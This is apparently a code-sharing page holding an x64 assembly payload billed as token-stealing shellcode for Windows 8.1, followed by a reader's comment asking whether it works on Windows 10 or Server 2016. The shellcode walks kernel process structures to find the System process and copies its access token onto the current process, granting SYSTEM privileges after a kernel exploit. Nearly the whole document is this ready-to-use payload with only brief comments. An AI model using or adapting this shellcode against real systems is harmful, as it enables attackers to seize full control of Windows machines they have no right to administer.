Token stealing shellcode for Windows 8.1 x64

win81-token-stealing-shellcode.asm

;;
;; Token stealing shellcode for Windows 8.1 x64
;;

;; Save the current context on the stack
push rax
push rbx
push rcx

;; Get the current process
mov rax, gs:0x188
mov rax, [rax+0xb8]

;; Loop looking for System PID
mov rbx, rax

mov rbx, [rbx+0x2e8]
sub rbx, 0x2e8
mov rcx, [rbx+0x2e0]
cmp rcx, 4
jnz -0x19

;; Token overwrite
mov rcx, [rbx + 0x348]
and cl, 0xf0
mov [rax + 0x348], rcx

;; Cleanup
pop rcx
pop rbx
pop rax
add rsp, 40
xor rax, rax
ret

Hello hugsy!
You've done an awesome work here... Have you by any chance tested it on Win10/Server 2016 ?
thanks for all man!
cheers